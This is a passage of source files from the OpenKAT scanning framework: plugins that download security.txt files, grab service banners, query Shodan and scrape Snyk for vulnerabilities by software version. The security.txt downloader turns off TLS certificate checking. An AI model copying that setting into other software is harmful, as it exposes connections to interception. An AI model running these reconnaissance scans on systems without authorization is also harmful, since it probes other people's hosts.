    "content": "import ipaddress\nimport json\nfrom os import getenv\nfrom urllib.parse import urlparse, urlunparse\n\nimport requests\nfrom forcediphttpsadapter.adapters import ForcedIPHTTPSAdapter\nfrom requests import Session\nfrom requests.models import Response\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = input_[\"hostname\"][\"name\"]\n    scheme = input_[\"ip_service\"][\"service\"][\"name\"]\n    ip = input_[\"ip_service\"][\"ip_port\"][\"address\"][\"address\"]\n\n    useragent = getenv(\"USERAGENT\", default=\"OpenKAT\")\n    session = requests.Session()\n\n    results = {}\n\n    for path in [\".well-known/security.txt\", \"security.txt\"]:\n        uri = f\"{scheme}://{hostname}/{path}\"\n\n        if scheme == \"https\":\n            session.mount(uri, ForcedIPHTTPSAdapter(dest_ip=ip))\n        else:\n            addr = ipaddress.ip_address(ip)\n            netloc = f\"[{ip}]\" if addr.version == 6 else ip\n\n            uri = f\"{scheme}://{netloc}/{path}\"\n\n        response = do_request(hostname, session, uri, useragent)\n\n        # if the response is 200, return the content\n        if response.status_code == 200:\n            results[path] = {\"content\": response.content.decode(), \"url\": response.url, \"ip\": ip, \"status\": 200}\n        # if the response is 301, we need to follow the location header to the correct security txt,\n        # we can not force the ip anymore\n        elif response.status_code in [301, 302, 307, 308]:\n            # Redirect can be absolute or relative\n            parsed = urlparse(response.headers[\"Location\"])\n            scheme = parsed.scheme if parsed.scheme else scheme\n            netloc = parsed.netloc if parsed.netloc else hostname\n            uri = urlunparse((scheme, netloc, parsed.path, parsed.params, parsed.query, parsed.fragment))\n\n            response = requests.get(uri, stream=True, timeout=30, verify=False)  # noqa: S501\n            if response.raw._connection:\n                ip = response.raw._connection.sock.getpeername()[0]\n            else:\n                ip = \"\"\n            results[path] = {\n                \"content\": response.content.decode(),\n                \"url\": response.url,\n                \"ip\": str(ip),\n                \"status\": response.status_code,\n            }\n        else:\n            results[path] = {\"content\": None, \"url\": None, \"ip\": None, \"status\": response.status_code}\n    return [(set(), json.dumps(results))]\n\n\ndef do_request(hostname: str, session: Session, uri: str, useragent: str) -> Response:\n    response = session.get(\n        uri, headers={\"Host\": hostname, \"User-Agent\": useragent}, verify=False, allow_redirects=False\n    )\n\n    return response\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\nfrom urllib.parse import urlparse\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import URL, SecurityTXT, Website\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    website_original = Reference.from_str(input_ooi[\"primary_key\"])\n\n    for path, details in results.items():\n        if details[\"content\"] is None:\n            continue\n        url_original = URL(\n            raw=f'{input_ooi[\"ip_service\"][\"service\"][\"name\"]}://{input_ooi[\"hostname\"][\"name\"]}/{path}',\n            network=Network(name=input_ooi[\"hostname\"][\"network\"][\"name\"]).reference,\n        )\n        yield url_original\n        url = URL(raw=details[\"url\"], network=Network(name=input_ooi[\"hostname\"][\"network\"][\"name\"]).reference)\n        yield url\n        url_parts = urlparse(details[\"url\"])\n        # we need to check if the website of the response is the same as the input website\n        if (\n            url_parts.scheme == input_ooi[\"ip_service\"][\"service\"][\"name\"]\n            and url_parts.netloc == input_ooi[\"hostname\"][\"name\"]\n            and details[\"ip\"] == input_ooi[\"ip_service\"][\"ip_port\"][\"address\"][\"address\"]\n        ):\n            security_txt = SecurityTXT(\n                website=website_original, url=url.reference, security_txt=details[\"content\"], redirects_to=None\n            )\n            yield security_txt\n        # otherwise we need to create a new website complete with hostname and ip\n        else:\n            hostname = Hostname(\n                name=url_parts.netloc, network=Network(name=input_ooi[\"hostname\"][\"network\"][\"name\"]).reference\n            )\n            yield hostname\n            addr = ipaddress.ip_address(details[\"ip\"])\n            if addr.version == 6:\n                ip_address = IPAddressV6(\n                    address=details[\"ip\"], network=Network(name=input_ooi[\"hostname\"][\"network\"][\"name\"]).reference\n                )\n            else:\n                ip_address = IPAddressV4(\n                    address=details[\"ip\"], network=Network(name=input_ooi[\"hostname\"][\"network\"][\"name\"]).reference\n                )\n            yield ip_address\n            # check scheme for service and ipport\n            if url_parts.scheme == \"https\":\n                service = Service(name=\"https\")\n                yield service\n                ip_port = IPPort(address=ip_address.reference, port=443, protocol=\"tcp\")\n                yield ip_port\n                ip_service = IPService(ip_port=ip_port.reference, service=service.reference)\n                yield ip_service\n            else:\n                service = Service(name=\"http\")\n                yield service\n                ip_port = IPPort(address=ip_address.reference, port=80, protocol=\"tcp\")\n                yield ip_port\n                ip_service = IPService(ip_port=ip_port.reference, service=service.reference)\n                yield ip_service\n\n            website = Website(hostname=hostname.reference, ip_service=ip_service.reference)\n            yield website\n            security_txt = SecurityTXT(\n                website=website.reference, url=url.reference, security_txt=details[\"content\"], redirects_to=None\n            )\n            yield security_txt\n            # the original securitytxt redirects to this one\n            security_txt_original = SecurityTXT(\n                website=website_original,\n                url=url_original.reference,\n                redirects_to=security_txt.reference,\n                security_txt=None,\n            )\n            yield security_txt_original\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/normalizer.json",
    "content": "{\n  \"id\": \"kat_sec_txt_downloader_normalize\",\n  \"name\": \"Security.txt downloader\",\n  \"description\": \"Parses the downloaded security.txt data from a website.\",\n  \"consumes\": [\n    \"boefje/security_txt_downloader\"\n  ],\n  \"produces\": [\n    \"SecurityTXT\",\n    \"Website\",\n    \"URL\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/requirements.txt",
    "content": "forcediphttpsadapter == 1.1.0\nurllib3 == 2.7.0\nsectxt == 0.9.0\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_service_banner/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_service_banner/boefje.json",
    "content": "{\n  \"id\": \"service_banner\",\n  \"name\": \"Service banner download\",\n  \"description\": \"Downloads service banners from the target hosts.\",\n  \"consumes\": [\n    \"IPPort\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_service_banner.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_service_banner/main.py",
    "content": "import socket\nfrom os import getenv\n\nREAD_BYTES = 1024\nREQUEST_TIMEOUT = 5\n\n\ndef get_sock(ip, port, timeout):\n    \"\"\"returns a socket to the ip/port with the given timeout set or returns None\"\"\"\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.settimeout(timeout)\n    try:\n        sock.connect((ip, port))\n        return sock\n    except Exception:\n        return None\n\n\ndef get_banner(sock, bytescount):\n    \"\"\"Tries to get the banner using the supplied socket,\n    reading as many bytes as requested\"\"\"\n    try:\n        banner = sock.recv(bytescount)\n        try:\n            banner = banner.decode().strip()\n        except UnicodeDecodeError:\n            banner = banner.decode(\"latin1\").strip()\n        sock.close()\n        return [({\"openkat/service-banner\"}, banner)]\n    except Exception as e:\n        return [({\"error/boefje\"}, f\"Unable to get banner. {str(e)}\")]\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, str | bytes]]:\n    \"\"\"returns the service banner if available as a raw file\n    takes an IPPort object as input\"\"\"\n    input_ = boefje_meta[\"arguments\"][\"input\"]  # input is IPPort\n    port = input_[\"port\"]\n    ip = input_[\"address\"][\"address\"]\n\n    sock = get_sock(ip, port, int(getenv(\"REQUEST_TIMEOUT\", str(REQUEST_TIMEOUT))))\n    if not sock:\n        return [({\"error/boefje\"}, \"Unable to connect to the service\")]\n\n    return get_banner(sock, int(getenv(\"READ_BYTES\", str(READ_BYTES))))\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/boefje.json",
    "content": "{\n  \"id\": \"shodan\",\n  \"name\": \"Shodan\",\n  \"description\": \"Use Shodan to find open ports with vulnerabilities that are found on that port. Requires an API key.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_shodan.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/description.md",
    "content": "# Shodan\n\nShodan is a search engine that lets users search for various types of servers (webcams, routers, servers, etc.)\nconnected to the internet using a variety of filters. Shodan collects data mostly on web servers (HTTP or HTTPS – ports 80,\n8080, 443, 8443), as well as FTP (port 21), SSH (port 22), Telnet (port 23), SNMP (port 161), IMAP (ports 143, or (\nencrypted) 993), SMTP (port 25), SIP (port 5060), and Real Time Streaming Protocol (RTSP, port 554). The latter can be\nused to access webcams and their video stream. KAT currently uses Shodan to scan an IpAddress for open ports with\nsoftware with known vulnerabilities.\n\n### Input OOIs\n\nShodan expects an IpAddress as input.\n\n### Output OOIs\n\nShodan currently outputs the following OOIs:\n\n| OOI type       | Description                                   |\n| -------------- | --------------------------------------------- |\n| IpPort         | Open IpPort found on input OOI                |\n| CveFindingType | Known vulnerability of software behind IpPort |\n| Finding        | Finding                                       |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/main.py",
    "content": "import json\nimport logging\nfrom ipaddress import ip_address\nfrom os import getenv\n\nimport shodan\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    api = shodan.Shodan(getenv(\"SHODAN_API\"))\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip = input_[\"address\"]\n    results = {}\n\n    if ip_address(ip).is_private:\n        return [({\"openkat/deschedule\"}, \"Private IP requested, I will not forward this to Shodan.\")]\n    try:\n        results = api.host(ip)\n    except shodan.APIError as e:\n        if e.args[0] != \"No information available for that IP.\":\n            raise\n        logging.info(e)\n\n    return [(set(), json.dumps(results))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\nfrom octopoes.models.ooi.network import IPPort, PortState, Protocol\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n\n    if not results:\n        logging.info(\"No Shodan results available for normalization.\")\n    elif \"data\" not in results:\n        logging.warning(\"Shodan results exist without data.\")\n    else:\n        for scan in results[\"data\"]:\n            port_nr = scan[\"port\"]\n            transport = scan[\"transport\"]\n\n            ip_port = IPPort(address=ooi, protocol=Protocol(transport), port=int(port_nr), state=PortState(\"open\"))\n            yield ip_port\n\n            if \"vulns\" in scan:\n                for cve in scan[\"vulns\"].values():\n                    ft = CVEFindingType(id=cve)\n                    f = Finding(finding_type=ft.reference, ooi=ip_port.reference)\n                    yield ft\n                    yield f\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/normalizer.json",
    "content": "{\n  \"id\": \"kat_shodan_normalize\",\n  \"name\": \"Shodan\",\n  \"description\": \"Parses Shodan data into (CVE) findings and ports.\",\n  \"consumes\": [\n    \"boefje/shodan\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"IPPort\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/requirements.txt",
    "content": "shodan == 1.25.0\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"SHODAN_API\": {\n      \"title\": \"SHODAN_API\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A Shodan API key (see https://developer.shodan.io/api/requirements).\"\n    }\n  },\n  \"required\": [\n    \"SHODAN_API\"\n  ],\n  \"secret\": [\n    \"SHODAN_API\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/boefje.json",
    "content": "{\n  \"id\": \"shodan_internetdb\",\n  \"name\": \"Shodan InternetDB\",\n  \"description\": \"Use Shodan InternetDB to find open ports with vulnerabilities that are found on an IP.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_shodan_internetdb.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/description.md",
    "content": "# Shodan InternetDB\n\nFast IP Lookups for Open Ports and Vulnerabilities. Only free for non-commercial use. The API gets updated once a week.\n\nSee: https://internetdb.shodan.io/, https://internetdb.shodan.io/docs\n\n## Return Schema:\n\n```\n{\n  \"cpes\": [\n    \"string\"\n  ],\n  \"hostnames\": [\n    \"string\"\n  ],\n  \"ip\": \"string\",\n  \"ports\": [\n    0\n  ],\n  \"tags\": [\n    \"string\"\n  ],\n  \"vulns\": [\n    \"string\"\n  ]\n}\n```\n\nTags are discarded in the normalizer.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/main.py",
    "content": "from ipaddress import ip_address\nfrom os import getenv\n\nimport httpx\n\nREQUEST_TIMEOUT = 60\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"Make request to InternetDB.\"\"\"\n    ip = boefje_meta[\"arguments\"][\"input\"][\"address\"]\n    if ip_address(ip).is_private:\n        return [({\"openkat/deschedule\"}, \"Private IP requested, I will not forward this to Shodan.\")]\n    response = httpx.get(\n        f\"https://internetdb.shodan.io/{ip}\", timeout=int(getenv(\"REQUEST_TIMEOUT\", str(REQUEST_TIMEOUT)))\n    )\n    if response.status_code != httpx.codes.NOT_FOUND:\n        response.raise_for_status()\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.plugins.helpers import cpe_to_name_version\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.records import DNSPTRRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\nDNS_PTR_STR = \".in-addr.arpa\"\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[OOI]:\n    \"\"\"Normalize InternetDB output.\"\"\"\n    result = json.loads(raw)\n    input_ooi_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    input_ooi_str = input_ooi[\"address\"]\n\n    if not result:\n        logging.info(\"No InternetDB results available for normalization.\")\n    elif \"detail\" in result:\n        if result[\"detail\"] == \"No information available\":\n            logging.info(\"No information available for IP.\")\n        else:\n            logging.warning(\"Unexpected detail: %s\", result[\"detail\"])\n    else:\n        if \"cdn\" in result.get(\"tags\", []):\n            for cpe in result[\"cpes\"]:\n                if \"cloudflare\" in cpe:\n                    name, version = cpe_to_name_version(cpe=cpe)\n                    software = Software(name=name, version=version, cpe=cpe)\n                    yield software\n                    yield SoftwareInstance(software=software.reference, ooi=input_ooi_reference)\n        else:\n            for hostname in result[\"hostnames\"]:\n                hostname_ooi = Hostname(name=hostname, network=Network(name=input_ooi[\"network\"][\"name\"]).reference)\n                yield hostname_ooi\n                if hostname.endswith(DNS_PTR_STR):\n                    yield DNSPTRRecord(hostname=hostname_ooi.reference, value=hostname, address=input_ooi_reference)\n\n            # ruff: noqa: ERA001\n            # for port in result[\"ports\"]:\n            #     yield IPPort(address=input_ooi_reference, port=int(port), state=PortState(\"open\"))\n\n            for cve in result[\"vulns\"]:\n                finding_type = CVEFindingType(id=cve)\n                finding = Finding(\n                    finding_type=finding_type.reference,\n                    ooi=input_ooi_reference,\n                    proof=f\"https://internetdb.shodan.io/{input_ooi_str}\",\n                )\n                yield finding_type\n                yield finding\n\n            for cpe in result[\"cpes\"]:\n                name, version = cpe_to_name_version(cpe=cpe)\n                software = Software(name=name, version=version, cpe=cpe)\n                yield software\n                yield SoftwareInstance(software=software.reference, ooi=input_ooi_reference)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/normalizer.json",
    "content": "{\n  \"id\": \"kat_shodan_internetdb_normalize\",\n  \"name\": \"Shodan InternetDB normalizer\",\n  \"description\": \"Parses Shodan InternetDB into findings.\",\n  \"consumes\": [\n    \"boefje/shodan_internetdb\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"IPPort\",\n    \"Hostname\",\n    \"CVEFindingType\",\n    \"DNSPTRRecord\",\n    \"Software\",\n    \"SoftwareInstance\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/requirements.txt",
    "content": "httpx==0.28.1\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_shodan_internetdb/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"REQUEST_TIMEOUT\": {\n      \"title\": \"REQUEST_TIMEOUT\",\n      \"maximum\": 300,\n      \"type\": \"integer\",\n      \"description\": \"Timeout before giving up on reaching the api, in seconds.\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/boefje.json",
    "content": "{\n  \"id\": \"snyk\",\n  \"name\": \"Snyk.io-vulnerabilities\",\n  \"description\": \"Get Snyk.io vulnerabilities based on identified Software.\",\n  \"consumes\": [\n    \"Software\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_snyk.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/check_version.py",
    "content": "import logging\nimport re\nfrom enum import Enum\n\nlogger = logging.getLogger(__name__)\n\n\nclass VersionCheck(Enum):\n    SMALLER = 1\n    SMALLER_EQUAL = 3\n    EQUAL = 2\n    GREATER_EQUAL = 6\n    GREATER = 4\n    UNKNOWN = 0\n    ALL = 7\n\n\ndef check_version(version1: str, version2: str) -> VersionCheck:\n    \"\"\"\n    Checks first string in regard to second string\n    Output: VersionCheck.{SMALLER,SMALLER_EQUAL,EQUAL,GREATER_EQUAL,GREATER,UNKNOWN}\n    \"\"\"\n\n    # Split the version until first dot\n    version1_split = version1.split(\".\", 1)\n    version2_split = version2.split(\".\", 1)\n\n    # Check versions until first dot\n    v1 = version1_split[0]\n    v2 = version2_split[0]\n    if v1 != v2 and v1.isnumeric() and v2.isnumeric():\n        if int(v1) < int(v2):\n            return VersionCheck.SMALLER\n        elif int(v1) > int(v2):\n            return VersionCheck.GREATER_EQUAL\n    elif v1 != v2:\n        # Check for packages, because we cannot compare those on name only (can start with version)\n        pack1 = re.split(\"[+-]\", v1)\n        pack2 = re.split(\"[+-]\", v2)\n        if pack1[0].isnumeric() and pack2[0].isnumeric():\n            # Has a package-name, but it starts with version-numbers  # https://snyk.io/vuln/debian%3A12%3Awordpress\n            first_part_check = check_version(pack1[0], pack2[0])\n            if first_part_check != VersionCheck.EQUAL:\n                return first_part_check\n            else:\n                # Version is the same, but package different.. impossible to compare\n                return VersionCheck.UNKNOWN\n        elif (len(pack1) > 1 or len(pack2) > 1) and v1 != v2:\n            # They have different packages, impossible to compare\n            return VersionCheck.UNKNOWN\n        else:\n            # The same package name or no packages at all but versionname is non-numeric\n            if v1 < v2:\n                return VersionCheck.SMALLER\n            elif v2 > v1:\n                return VersionCheck.GREATER\n\n    # Check part after the first dot\n    if len(version1_split) == 1 and len(version2_split) == 1:\n        # This was the last part\n        return VersionCheck.EQUAL\n    elif len(version1_split) == 1:\n        # version 1 < version 1.1\n        return VersionCheck.SMALLER\n    elif len(version2_split) == 1:\n        # version 1 > version 1.1\n        return VersionCheck.GREATER\n    else:\n        # Compare next part of version\n        return check_version(version1_split[1], version2_split[1])\n\n\ndef check_version_agains_versionlist(my_version: str, all_versions: list[str]) -> tuple[bool, list[str] | None]:\n    lowerbound = all_versions.pop(0).strip()\n    upperbound = None\n\n    regex_ineq_upperbound = \"^([<=]+)\"\n    regex_ineq_lowerbound = \"^(>=?)\"\n\n    start_inequality = re.search(regex_ineq_lowerbound, lowerbound)\n    start_version = re.search(\"^[0-9a-z*]\", lowerbound)\n    end_bracket = None\n\n    lowerbound_ok = False\n\n    # Check if lowerbound is < or <=\n    if re.search(r\"^[\\[(]\", lowerbound):\n        # Example: \"(1.1,1.4]\"  # https://snyk.io/vuln/maven%3Aorg.apache.nifi%3Anifi-security-utils\n        upperbound = all_versions.pop(0).strip()\n        end_bracket = re.search(\"[])]$\", upperbound)\n        if not upperbound or not end_bracket:\n            # Unexpected input: there is no closing-bracket\n            logger.warning(\n                \"Unexpected input, missing closing bracket for %s,%s. Ignoring input.\", lowerbound, upperbound\n            )\n            return False, None\n        lowerbound_versioncheck = VersionCheck.GREATER if lowerbound[0] == \"(\" else VersionCheck.GREATER_EQUAL\n        lowerbound = lowerbound[1:].strip()\n        if len(lowerbound) == 0:\n            # Example: \"(,1.2)\"  # https://snyk.io/vuln/maven%3Aorg.apache.nifi%3Anifi-security-utils\n            lowerbound_ok = True\n    elif start_inequality:\n        # Example: \">1.2,<=1.8\"  # https://snyk.io/vuln/npm%3Alodash\n        if start_inequality.group(0) == \">\":\n            lowerbound_versioncheck = VersionCheck.GREATER\n        elif start_inequality.group(0) == \">=\":\n            lowerbound_versioncheck = VersionCheck.GREATER_EQUAL\n        lowerbound = lowerbound[len(start_inequality.group(0)) :].strip()\n        if len(all_versions) == 0:\n            return False, None\n        upperbound = all_versions.pop(0).strip()\n    elif lowerbound == \"*\":\n        lowerbound_ok = True\n        upperbound = lowerbound\n    elif start_version:\n        # Example: \"1.2\"\n        upperbound = f\"={lowerbound}\"\n        lowerbound_ok = True\n    elif re.search(regex_ineq_upperbound, lowerbound):\n        # Example: \"<= 1.5\"\n        lowerbound_ok = True\n        upperbound = lowerbound\n    else:\n        # Warning: unexpected not implemented something\n        return False, None\n\n    # Check lowerbound\n    if not lowerbound_ok:\n        check_version_result = check_version(my_version, lowerbound)\n        if check_version_result.value & lowerbound_versioncheck.value == 0:\n            return False, all_versions\n\n    # Check if upperbound is >, >=, = or *\n    if upperbound is None:\n        logger.warning(\"Unexpected upperbound in kat_snyk.normalize: %s\", all_versions)\n        return False, None\n\n    start_inequality = re.search(regex_ineq_upperbound, upperbound)\n\n    if end_bracket:\n        # Example: \"(1.2,1.4]\"\n        upperbound_versioncheck = VersionCheck.SMALLER if upperbound[-1] == \")\" else VersionCheck.SMALLER_EQUAL\n        upperbound = upperbound[:-1].strip()\n    elif start_inequality:\n        # Example: \"<=1.4\"\n        if start_inequality.group(0) == \"<\":\n            upperbound_versioncheck = VersionCheck.SMALLER\n        elif start_inequality.group(0) == \"<=\":\n            upperbound_versioncheck = VersionCheck.SMALLER_EQUAL\n        elif start_inequality.group(0) == \"=\":\n            upperbound_versioncheck = VersionCheck.EQUAL\n        upperbound = upperbound[len(start_inequality.group(0)) :].strip()\n    elif upperbound == \"*\":\n        upperbound_versioncheck = VersionCheck.ALL\n    else:\n        logger.warning(\"Unexpected input in kat_snyk.normalize: %s\", all_versions)\n        return False, None\n\n    # Check upperbound\n    check_version_result = check_version(my_version, upperbound)\n    if check_version_result.value & upperbound_versioncheck.value == 0:\n        return False, all_versions\n\n    return True, all_versions\n\n\ndef check_version_in(version: str, versions: str) -> bool:\n    if not version:\n        return False\n    all_versions: list[str] | None = versions.split(\n        \",\"\n    )  # Example: https://snyk.io/vuln/composer%3Awoocommerce%2Fwoocommerce-blocks\n    in_range = False\n    while not in_range and all_versions:\n        in_range, all_versions = check_version_agains_versionlist(version, all_versions)\n    return in_range\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/description.md",
    "content": "# Snyk.io\n\nAccording to the website snyk.io: Find and automatically fix vulnerabilities in your code, open source dependencies, containers, and infrastructure as code — all powered by Snyk’s industry-leading security intelligence.\n\nThis boefje uses the vulnerability database to search for vulnerabilities, based on a Software version.\n\n### Input OOIs\n\nSnyk expects an Software as input.\n\n### Output OOIs\n\nSnyk currently outputs the following OOIs:\n\n| OOI type   | Description                     |\n| ---------- | ------------------------------- |\n| KATFinding | Known vulnerability of software |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/main.py",
    "content": "import json\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom boefjes.plugins.kat_snyk import check_version\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    software_name = input_[\"name\"]\n    software_version = input_[\"version\"]\n\n    result: dict[str, list[dict]] = {\"table_versions\": [], \"table_vulnerabilities\": [], \"cve_vulnerabilities\": []}\n    url_snyk = f\"https://snyk.io/vuln/npm:{software_name.lower().replace(' ', '-')}\"\n    page = requests.get(url_snyk, timeout=30)\n    soup = BeautifulSoup(page.content, \"html.parser\")\n    tables = soup.find_all(\"table\")\n    for table in tables:\n        if table.find(\"thead\") is None:\n            continue\n\n        headers = [header.text.strip() for header in table.select(\"thead th\")]\n        temp_soup = [\n            {headers[i]: cell for i, cell in enumerate(row.find_all(\"td\"))}\n            for row in table.find(\"tbody\").find_all(\"tr\")\n        ]\n\n        if table.find(\"thead\") and table.find(\"thead\").find(\"tr\", {\"class\": \"vue--table__row\"}):\n            # Direct vulnerabilities table\n            for info in temp_soup:\n                try:\n                    parsed_info = {\n                        \"Vuln_href\": info[\"Vulnerability\"].find(\"a\", href=True)[\"href\"].split(\"/\")[-1],\n                        \"Vuln_text\": info[\"Vulnerability\"].text.strip()[2:].strip(),\n                        \"Vuln_versions\": info[\"Vulnerable Version\"].text.strip(),\n                    }\n                except KeyError:\n                    continue\n\n                if check_version.check_version_in(software_version, parsed_info[\"Vuln_versions\"]):\n                    # Check if there is a CVE code available for this vulnerability\n                    url_snyk = f\"https://snyk.io/vuln/{parsed_info['Vuln_href']}\"\n                    vuln_page = requests.get(url_snyk, timeout=30)\n                    vuln_soup = BeautifulSoup(vuln_page.content, \"html.parser\")\n                    cve_element = vuln_soup.select(\"[class='cve']\")\n                    cve_code = cve_element[0].text.split(\"\\n\")[0] if cve_element else \"\"\n\n                    if cve_code.startswith(\"CVE-\"):\n                        result[\"cve_vulnerabilities\"].append(\n                            {\"cve_code\": cve_code, \"Vuln_text\": parsed_info[\"Vuln_text\"]}\n                        )\n                    else:\n                        result[\"table_vulnerabilities\"].append(parsed_info)\n\n        elif table.attrs.get(\"data-vue\") == \"vulns-version-table\":\n            # Versions table\n            for info in temp_soup:\n                result[\"table_versions\"].append(\n                    {\n                        \"Version_href\": info[\"Version\"].find(\"a\", href=True)[\"href\"].split(\"/\")[-1],\n                        \"Version_text\": info[\"Version\"].find(\"a\").text.strip(),\n                        \"is_latest\": len(info[\"Version\"].find_all(\"a\")) == 2\n                        and info[\"Version\"].find_all(\"a\")[1].text.strip() == \"Latest\",\n                    }\n                )\n\n    return [(set(), json.dumps(result))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom boefjes.plugins.kat_snyk import check_version\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, KATFindingType, SnykFindingType\n\nlogger = logging.getLogger(__name__)\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    # Depending on the input type of the boefje, our input_ooi is either a software, or softwareinstance.\n    if \"software\" in input_ooi:\n        software_name = input_ooi[\"software\"][\"name\"]\n        software_version = input_ooi[\"software\"][\"version\"]\n    else:\n        software_name = input_ooi[\"name\"]\n        software_version = input_ooi[\"version\"]\n\n    if not results[\"table_versions\"] and not results[\"table_vulnerabilities\"] and not results[\"cve_vulnerabilities\"]:\n        logger.warning(\"Couldn't find software %s in the SNYK vulnerability database\", software_name)\n        return\n    elif not results[\"table_vulnerabilities\"] and not results[\"cve_vulnerabilities\"]:\n        # no vulnerabilities found\n        return\n    if software_version:\n        for vuln in results[\"table_vulnerabilities\"]:\n            snyk_ft = SnykFindingType(id=vuln.get(\"Vuln_href\"))\n            yield snyk_ft\n            yield Finding(finding_type=snyk_ft.reference, ooi=pk_ooi, description=vuln.get(\"Vuln_text\"))\n        for vuln in results[\"cve_vulnerabilities\"]:\n            cve_ft = CVEFindingType(id=vuln.get(\"cve_code\"))\n            yield cve_ft\n            yield Finding(finding_type=cve_ft.reference, ooi=pk_ooi, description=vuln.get(\"Vuln_text\"))\n    if not software_version and (results[\"table_vulnerabilities\"] or results[\"cve_vulnerabilities\"]):\n        kat_ooi = KATFindingType(id=\"KAT-SOFTWARE-VERSION-NOT-FOUND\")\n        yield kat_ooi\n        yield 